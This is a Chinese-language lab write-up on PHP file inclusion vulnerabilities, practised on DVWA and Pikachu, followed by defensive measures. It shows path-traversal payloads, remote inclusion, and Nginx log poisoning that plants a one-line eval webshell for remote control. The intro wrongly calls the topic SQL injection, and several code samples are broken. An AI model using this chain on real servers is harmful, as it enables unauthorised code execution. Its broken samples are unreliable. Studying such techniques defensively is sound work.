从零开始学Web安全,文件包含漏洞详解
大家好,我是[小羽],一个对网络安全充满热情的小白。今天,我将与大家分享我的网络安全中的Web安全学习笔记什么是文件包含漏洞?,这里很详细的介绍了Sql注入的各种类型防御的方法。
靶场:dvwa,pikachu
服务器:centos7
数据库:mysql5.7
php:8.0
nginx:1.24
什么是文件包含漏洞?
概述
和sql注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,让服务端执行。
包含:把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员有没有对要包含的文件进行安全考虑,攻击者就可以通过构造恶意的文件路径参数来执行任意的代码。
常见的文件包含漏洞有两种类型:
-
本地文件包含(Local File Inclusion):
LFI本地文件包含漏洞是指攻击者能够利用应用程序的漏洞,直接访问并执行服务器上的文件。 -
远程文件包含(Remote File Inclusion):攻击者能通过将一个远程文件包含到应用程序中来执行任意代码,这种漏洞通常存在在于动态包含外部资源的代码中。
攻击者可以利用文件包含漏洞来执行一系列攻击,比如读取敏感文件、执行恶意代码、获取数据库信息等。
以PHP为例,常用的文件包含函数有以下四种
| 函数 | 描述 | 特点 |
|---|---|---|
| require() | 找不到被包含的文件会产生致命错误,并停止脚本运行 | 在一开始就加载 |
| include() | 找不到被包含的文件只会产生警告,脚本继续执行 | 在用到时加载 |
| include_once() | 如果该文件的代码已经被包含,则不会再次包含 | 与include()类似 |
| require_once() | 如果该文件的代码已经被包含,则不会再次包含 | require()类似 |
漏洞利用过程
一、本地文件包含漏洞(LFI)
php代码示例:
<?php
$file=$_GET(['filename']);
include($file)
?>
python代码示例:
file=request.GET.get('filename')#django
with open(filename,mode='r') as f:
print(f.read())
我们可以利用文件包含读取到一些其他文件,甚至可以读取一些系统的敏感信息如系统的配置器文件:C:Windowssystem.ini文件(很危险)
DVWA
首先在我们centos系统中根目录创建一个demo1.txt写入’you are very good hacker!’
![图片[1]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716775544676-ac3f1868-765d-43be-8394-b4051757a286.png?imageMogr2/format/avif)
进入dvwa靶场File Inclusion
![图片[2]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716775763009-75e51c6c-aa4c-44bd-aa99-0665e2e560c6.png?imageMogr2/format/avif)
点击任意文件后,观察到url的变化为文件名称的变化
![图片[3]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716775876180-135583a5-b61d-47c4-9e48-8648a81c1766.png?imageMogr2/format/avif)
使用../../../../../../../demo1.txt尝试读取刚才创建的文件demo1.txt
![图片[4]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716777323654-c9b448e4-834f-4b36-9440-70dc1c06cde3.png?imageMogr2/format/avif)
漏洞利用成功!此时也可直接读取系统配置文件例如hosts
![图片[5]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716777602262-9dffa161-dfd1-4406-b3a6-4e57fd27735c.png?imageMogr2/format/avif)
PiKaChu
选择下拉框任意选项,分析url,找到文件名称如下图
![图片[6]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716778268935-2a8fd307-d171-4148-b332-04b8650c73e4.png?imageMogr2/format/avif)
使用../../../../../../../demo1.txt尝试读取刚才创建的文件demo1.txt
![图片[7]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716778157425-ed7f2cfa-97ab-4832-9eb7-0306592d47a3.png?imageMogr2/format/avif)
注意:在文件包含漏洞中通常配合文件上传使用
二、远程文件包含漏洞
远程文件包含漏洞就是在不同ip/域名之间进行文件包含操作,需要将php.ini中的allow_url_include = On打开,如下图
![图片[8]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716779701398-145d14d4-7e3a-45af-8367-fe75a363f413.png?imageMogr2/format/avif)
比如这里有一个远程文件:https://xiaoyus.cc/license.txt
![图片[9]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716780525195-76325cbc-31b6-48f3-a68b-22aa45fc5d88.png?imageMogr2/format/avif)
漏洞利用成功!
![图片[10]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716780609675-685db21a-c48d-4f28-81d8-6acb466c3082.png?imageMogr2/format/avif)
三、包含Apache/Nginx日志文件
有时候网站存在文件包含漏洞,但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。
我们通过访问,让访问日志记录我们的phpinfo();代码,可以看出,访问日志已经成功记录了我们的访问历史:
注意:需要开启服务器记录日志功能
<?php phpinfo();?>
![图片[11]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716803852131-42cc34a3-ddc2-4ddd-9791-c4df0dc640eb.png?imageMogr2/format/avif)
日志访问成功但是我们发现了日志使用的是url编码,而不是完整的php代码这里我们就需要使用到抓包工具burp suite进行请求拦截,然后修改参数值为完整的php代码
![图片[12]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716804127183-27c9e5e2-111d-4084-a593-5a13d8a12c10.png?imageMogr2/format/avif)
查看日志,日志写入成功
![图片[13]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716805776487-d5b39495-12a0-4094-a266-db1c9b7e69ae.png?imageMogr2/format/avif)
接下来利用文件包含漏洞访问日志的文件地址我这里是www/server/nginx/logs/access.log
![图片[14]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716810479721-2b35120d-1d24-4bbc-a502-2af34b3f96a1.png?imageMogr2/format/avif)
日志文件注入成功!让访问日志文件记录下写入文件脚本代码:
<?php
$file=fopen('test1.php','w');
fputs($file,'<?php @eval($_POST[666]);?>');
?>
访问内容修改:
![图片[15]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716812872223-e8d19e3b-8788-4074-ad2c-2e196824be90.png?imageMogr2/format/avif)
可以看见日志文件写入成功
![图片[16]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716812905404-8f54f7d3-201d-4df5-9c09-d7258c746c53.png?imageMogr2/format/avif)
对访问日志进行文件包含,并查看创建的一句话脚本,已经创建成功:
![图片[17]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716812915707-7fa066a4-bd20-4a88-bc30-1c562059bb6e.png?imageMogr2/format/avif)
查看源文件,也可以看到创建成功
![图片[18]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716812952208-3c3e0436-8002-46ae-93c8-0ab7d7a44cfc.png?imageMogr2/format/avif)
此时就可以使用蚁剑进行连接获取webshell
如何避免?
一、设置白名单
代码在进行文件包含时,如果文件名称可以确定,可以设置白名单对传入的参数进行比较。
PHP验证源码示例:
<?php
$file_list=[ //声明一个变量,用于存放白名单;
'framework/init.php',
'framework/route.php',
'framework/event.php',
];
$file= $_REQUEST['file']; //声明一个变量,用于接收传递过来的文件信息;
if (in_array($file, $file_list)){ //把传递过来的文件信息和白名单里面的文件进行对比;
include "$file"; //如果传递过来的文件是白名单里面的文件,就对它进行文件包含;
}
?>
python验证源码示例:
file_list=[
'framework/init.php',
'framework/route.php',
'framework/event.php',
]
file=requests.GET.get('file')
if file in file_list:
with open(file,mode='r') as f:
content=f.read()
print(content)
else:
print('该文件不在许可范围内')
二、过滤危险字符
由于Incbude/Require可以对PHP Wrapper(包装器)形式的地址进行包含执行(需要配置php.ini)
在linux环境中可以通过"../../"的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP文件。
验证源码示例:
$pattern= "#^[a-z][a-z0-9+.]*:?//#i";
if(substr($filename,-4)=='.php' && strpos($filename,"..")===false&&!preg_match($pattern, $filename)){
include "$file";
}
python源码示例:
import re
import os
parttern='"#^[a-z][a-z0-9+.]*:?//#i'
def include_file(filename):
if filename.endswith('.php') and '..' not in filename and not re.search(pattern,filename():
with open(filename,'r') as f:
file=f.read()
print(file)
include_file('demo.php')
四、设置文件目录
PHP配置文件中又open_basedir选项可以设置用户需要执行的文件内目录,如果设置目录的话,PHP仅仅在该目录内进行文件搜索,而不会去搜索其他文件
![图片[19]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716771001141-adeba251-3381-492c-bc44-460c7b44ff6b.png?imageMogr2/format/avif)
四、关闭危险配置
PHP中的allow_url_include选项如果打开,PHP会通过Include/Require进行远程文件包含,由于远程文件的不可信任及其不确定性,在开发中禁止打开次此选项,PHP默认是关闭的。
![图片[20]-从零开始学习文件包含-泷羽Sec](https://md-1312988675.cos.ap-nanjing.myqcloud.com/myImg/1716771353415-7ec0cc23-1dd1-4a63-bd5c-9462f5af2166.png?imageMogr2/format/avif)
五、最小权限原则
做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化
感谢!
原文地址https://mp.weixin.qq.com/s/0Ayr8cp5nxti787c1sg54g
本站小部分内容转载于互联网,如有侵权还请联系















暂无评论内容